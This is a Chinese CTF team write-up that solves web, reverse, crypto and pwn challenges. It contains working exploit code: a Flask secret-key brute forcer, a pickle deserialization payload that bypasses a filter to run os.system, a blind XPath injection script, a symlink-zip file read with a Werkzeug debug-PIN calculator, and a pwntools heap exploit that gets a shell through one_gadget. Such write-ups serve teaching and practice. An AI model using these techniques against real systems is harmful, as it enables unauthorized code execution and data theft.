Web
easypickle
源码
import base64
import pickle
from flask import Flask, session
import os
import random
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()
@app.route('/')
def hello_world():
if not session.get('user'):
session['user'] = ''.join(random.choices("admin", k=5))
return 'Hello {}!'.format(session['user'])
@app.route('/admin')
def admin():
if session.get('user') != "admin":
return f"<script>alert('Access Denied');window.location.href='/'</script>"
else:
try:
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser_data')))
return "ok"
except:
return "error!"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)
可以看到这里有两个路由,admin路由里存在pickle反序列化点,但是需要session为admin,而user的默认是随机的,尝试伪造,因为这里的key只有两位字节,所以可以很轻松的爆破出来
import os
import sys
import zlib
from itsdangerous import base64_decode
import ast
if sys.version_info[0] < 3:
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4:
from abc import ABCMeta, abstractmethod
else:
from abc import ABC, abstractmethod
import argparse
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
dic = '0123456789abcdef'
if __name__ == '__main__':
for i in dic:
for j in dic:
for k in dic:
for l in dic:
key = i + j + k + l
res = FSCM.decode('eyJ1c2VyIjoibWluaWEifQ.YyVC1Q.0n_AlHIhNv_kEOviz_3jfYhCGp0', key)
if 'user' in str(res):
print(key)
exit()
之后就是反序列化bypass了,关注这下面几行代码
try:
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser_data')))
return "ok"
except:
return "error!"
这里把R i b o这些执行命令以及变量覆盖的操作指令都给禁用了,基本无法绕过,但是继续回头看一下这个waf检查的逻辑
- 先用a变量存储opcode,并替换涉及到R i b o的关键词
- 再用替换后的opcode去判断waf
- 最后执行的opcode为未修改(未替换的值)
所以这里就有一个方法,就是让payload替换之后能绕过waf,替换之前能够执行命令
这里我选择的是os这个替换,即os->Os
因为o s操作码的执行都是不需要接换行的,所以可以连在一起用,单独用o可以执行命令,但是连上s为了保证这个s不报错,就要根据s操作码的作用特地构造一下
参照文档:(https://xz.aliyun.com/t/7436, https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf)
这里执行完o后返回的是一个命令执行的结果对象并压入栈中
这里看例子是取栈上三个对象,第一个对象为字典,二三对象分别为键和值,因为我们要在o压入对象之后紧接着执行s,所以这里的命令执行就作为值传入字典中
这里我拿我自己的payload来讲解一下
payload = b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nVcalc\nos.'''
0: ( MARK
1: S STRING 'key1'
9: S STRING 'val1'
17: d DICT (MARK at 0)
18: S STRING 'vul'
25: ( MARK
26: c GLOBAL 'os system'
37: V UNICODE 'calc'
43: o OBJ (MARK at 25)
44: s SETITEM
45: . STOP
/ 首先生成一个字典{‘key1’:‘val1’},然后压入一个字符串’vul’,接着使用o执行一个命令,并将结果对象压入栈中
此时栈上存在的有
- system对象返回结果对象
- 字符串 “vul”
- 字典 {‘key1’:‘val1’}
接着s会将栈上的三个对象取出来合并后两个对象到第一个对象里面去,尝试一下
成功执行命令,并且没有error,接着就是构造payload到远程执行了,这里我选择的反弹shell,因为反弹shell的payload里面存在i这种字符,会被过滤到,所以可以使用pickle0版本的V操作码,传入unicode
接着伪造session传上去就行
babyjava
简单的xpath注入,这里直接给出exp
import string
import requests
url = 'http://eci-2ze1m6bqazd6qr453ll7.cloudeci1.ichunqiu.com:8888/hello'
dic = 'flagbcdef-_{}0123456789'
ses = requests.session()
result = ''
for i in range(29, 50):
print(i)
for j in dic:
data = {"xpath": "admin' or substring((/root/user/*[2]), " + str(i) + ", 1)='" + j}
res = ses.post(url=url, data=data)
if 'available' not in res.text:
result += j
print(result)
break
OnlineUnzip
源码
import os
import re
from hashlib import md5
from flask import Flask, redirect, request, render_template, url_for, make_response
app=Flask(__name__)
def extractFile(filepath):
extractdir=filepath.split('.')[0]
if not os.path.exists(extractdir):
os.makedirs(extractdir)
os.system(f'unzip -o {filepath} -d {extractdir}')
return redirect(url_for('display',extractdir=extractdir))
@app.route('/', methods=['GET'])
def index():
return render_template('index.html')
@app.route('/display', methods=['GET'])
@app.route('/display/', methods=['GET'])
@app.route('/display/<path:extractdir>', methods=['GET'])
def display(extractdir=''):
if re.search(r"\.\.", extractdir, re.M | re.I) != None:
return "Hacker?"
else:
if not os.path.exists(extractdir):
return make_response("error", 404)
else:
if not os.path.isdir(extractdir):
f = open(extractdir, 'rb')
response = make_response(f.read())
response.headers['Content-Type'] = 'application/octet-stream'
return response
else:
fn = os.listdir(extractdir)
fn = [".."] + fn
f = open("templates/template.html")
x = f.read()
f.close()
ret = "<h1>文件列表:</h1><br><hr>"
for i in fn:
tpath = os.path.join('/display', extractdir, i)
ret += "<a href='" + tpath + "'>" + i + "</a><br>"
x = x.replace("HTMLTEXT", ret)
return x
@app.route('/upload', methods=['GET', 'POST'])
def upload():
ip = request.remote_addr
uploadpath = 'uploads/' + md5(ip.encode()).hexdigest()[0:4]
if not os.path.exists(uploadpath):
os.makedirs(uploadpath)
if request.method == 'GET':
return redirect('/')
if request.method == 'POST':
try:
upFile = request.files['file']
print(upFile.filename)
if os.path.splitext(upFile.filename)[-1]=='.zip':
filepath=f"{uploadpath}/{md5(upFile.filename.encode()).hexdigest()[0:4]}.zip"
upFile.save(filepath)
zipDatas = extractFile(filepath)
return zipDatas
else:
return f"{upFile.filename} is not a zip file !"
except:
return make_response("error", 404)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888, debug=True)
/ 这里是个解压文件的作用,主要代码为unzip -o {filepath} -d {extractdir}
/ 可以使用软链接的方式任意下载文件,再加上这里开启了debug,可以直接算出PIN码
这里给出我之前写的一篇flask算PIN文章https://pysnow.cn/archives/170/
这里要使用zip的-y参数,直接压缩链接文件,而不是压缩链接所指向的文件内容,压缩之后上传直接可以看到我们所需要的文件
以下为算PIN的脚本
import hashlib
from itertools import chain
probably_public_bits = [
'ctf'
'flask.app',
'Flask',
'/usr/local/lib/python3.8/site-packages/flask/app.py'
]
private_bits = [
'95530129720',
'96cec10d3d9307792745ec3b85c89620213f6e7c373035a2133896e82496fa496635a3548d9b9039acaa25fbea21b586'
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
算出PIN为801-338-042
拿到flag
以下为队友的wp
re
small
对着汇编硬逆,动态调试
# -*- coding: utf-8 -*-
# @Time : 2022/9/17 11:06
# @Author : s0rry
#include <stdio.h>
#include <stdint.h>
// 逆向结果如下
void tea(int* flag){
int delta = 0x67452301;
int sum = 0;
for(int i=0;i<35;i++){
sum+=delta;
flag[0] += ((flag[1]<<4)+1)^((flag[1]>>5)+0x23)^(flag[1]+sum);
flag[1] += ((flag[0]<<4)+0x45)^((flag[0]>>5)+0x67)^(flag[0]+sum);
}
}
void retea(uint32_t * flag){
uint32_t delta = 0x67452301;
uint32_t sum = delta*35;
for(int i=0;i<35;i++){
flag[1] -= ((flag[0]<<4)+0x45)^((flag[0]>>5)+0x67)^(flag[0]+sum);
flag[0] -= ((flag[1]<<4)+1)^((flag[1]>>5)+0x23)^(flag[1]+sum);
sum-=delta;
}
}
int main(){
unsigned char res[32] = {
0x43, 0x71, 0x08, 0xDE, 0xD2, 0x1B, 0xF9, 0xC4, 0xDC, 0xDA, 0xF6, 0xDA, 0x4C, 0xD5, 0x9E, 0x6D,
0xE7, 0x4E, 0xEB, 0x75, 0x04, 0xDC, 0x1D, 0x5D, 0xD9, 0x0F, 0x1B, 0x51, 0xFB, 0x88, 0xDC, 0x51
};
for(int i=0;i<4;i++){
uint32_t tmp[2]={0,};
tmp[0] = ((uint32_t*)res)[i*2];
tmp[1] = ((uint32_t*)res)[i*2+1];
retea(tmp);
for(int j=0;j<8;j++){
printf("%c",*((char*)tmp+j));
}
}
return 0;
}
crypto
strange_rsa1
给了gift是p/q
找个大数计算网站,我用的网站
结合n,可以算出p来,p直接省略小数
gift*n(去掉小数位)再开方
得出p = 10354173078239628635626920146059887542108509101478542108107457141390325356890199583373894457500644181987484104714492532470944829664847264360542662124954077
根据n直接计算出q=
10481297369477678688647473426264404751672609241332968992310058598922120259940804922095197051670288498112926299671514217457279033970326518832408003060034369
简单写一下解题脚本
# -*- coding: utf-8 -*-
# @Time : 2022/9/17 13:034
# @Author : s0rry
import gmpy2
import binascii
# import sympy
N=gmpy2.mpz(108525167048069618588175976867846563247592681279699764935868571805537995466244621039138584734968186962015154069834228913223982840558626369903697856981515674800664445719963249384904839446749699482532818680540192673814671582032905573381188420997231842144989027400106624744146739238687818312012920530048166672413)
q = 10354173078239628635626920146059887542108509101478542108107457141390325356890199583373894457500644181987484104714492532470944829664847264360542662124954077
p = 10481297369477678688647473426264404751672609241332968992310058598922120259940804922095197051670288498112926299671514217457279033970326518832408003060034369
c = 23970397560482326418544500895982564794681055333385186829686707802322923345863102521635786012870368948010933275558746273559080917607938457905967618777124428711098087525967347923209347190956512520350806766416108324895660243364661936801627882577951784569589707943966009295758316967368650512558923594173887431924
e = 0x10001
a = (p-1)*(q-1)
d = gmpy2.invert(e,a)
m = pow(c,d,N)
print(hex(m))
pwn
note
填满tcache,申请段小chunk出来,切割unsorted bin,用于泄露libc
modifty函数可以输入负数,调试发现可以修改栈附近内容,打one_gadget
from pwn import *
from ctypes import *
libc = ELF("./libc-2.31.so")
banary = "./note"
elf = ELF(banary)
ip = '39.106.27.2'
port = 25753
local = 2
if(local==1):
p = process(banary)
else:
p = remote(ip, port)
context.log_level = "debug"
def debug():
gdb.attach(p)
pause()
s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
ru = lambda text : p.recvuntil(text)
uu32 = lambda : u32(p.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda addr : log.info(hex(addr))
pi = lambda : p.interactive()
def build(size,con):
ru('5. leave')
sl('1')
ru('Size:')
s(str(size))
ru('Content:')
sl(con)
def display(index):
ru('5. leave')
sl('2')
ru('Index:')
sl(str(index))
def modify(index, con):
ru('5. leave')
sl('3')
ru('Index:')
sl(str(index))
ru('Content: ')
sl(con)
def delete(index):
ru('5. leave')
sl('4')
ru('Index:')
sl(str(index))
for i in range(8):
build(0x100, 'bbb')
for i in range(7):
delete(i)
build(0x88, 'a'*0x87)
delete(7)
build(0x20, '')
display(1)
malloc_hook = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 154
print(hex(malloc_hook))
libc_base = malloc_hook - libc.sym["__malloc_hook"]
one_gadget = libc_base + 0xe3afe
modify(-4, p64(0)+p64(0x4017ac)+p64(0)*4+p64(one_gadget))
'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
gadget:
0x00000000004017ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
'''
pi()
|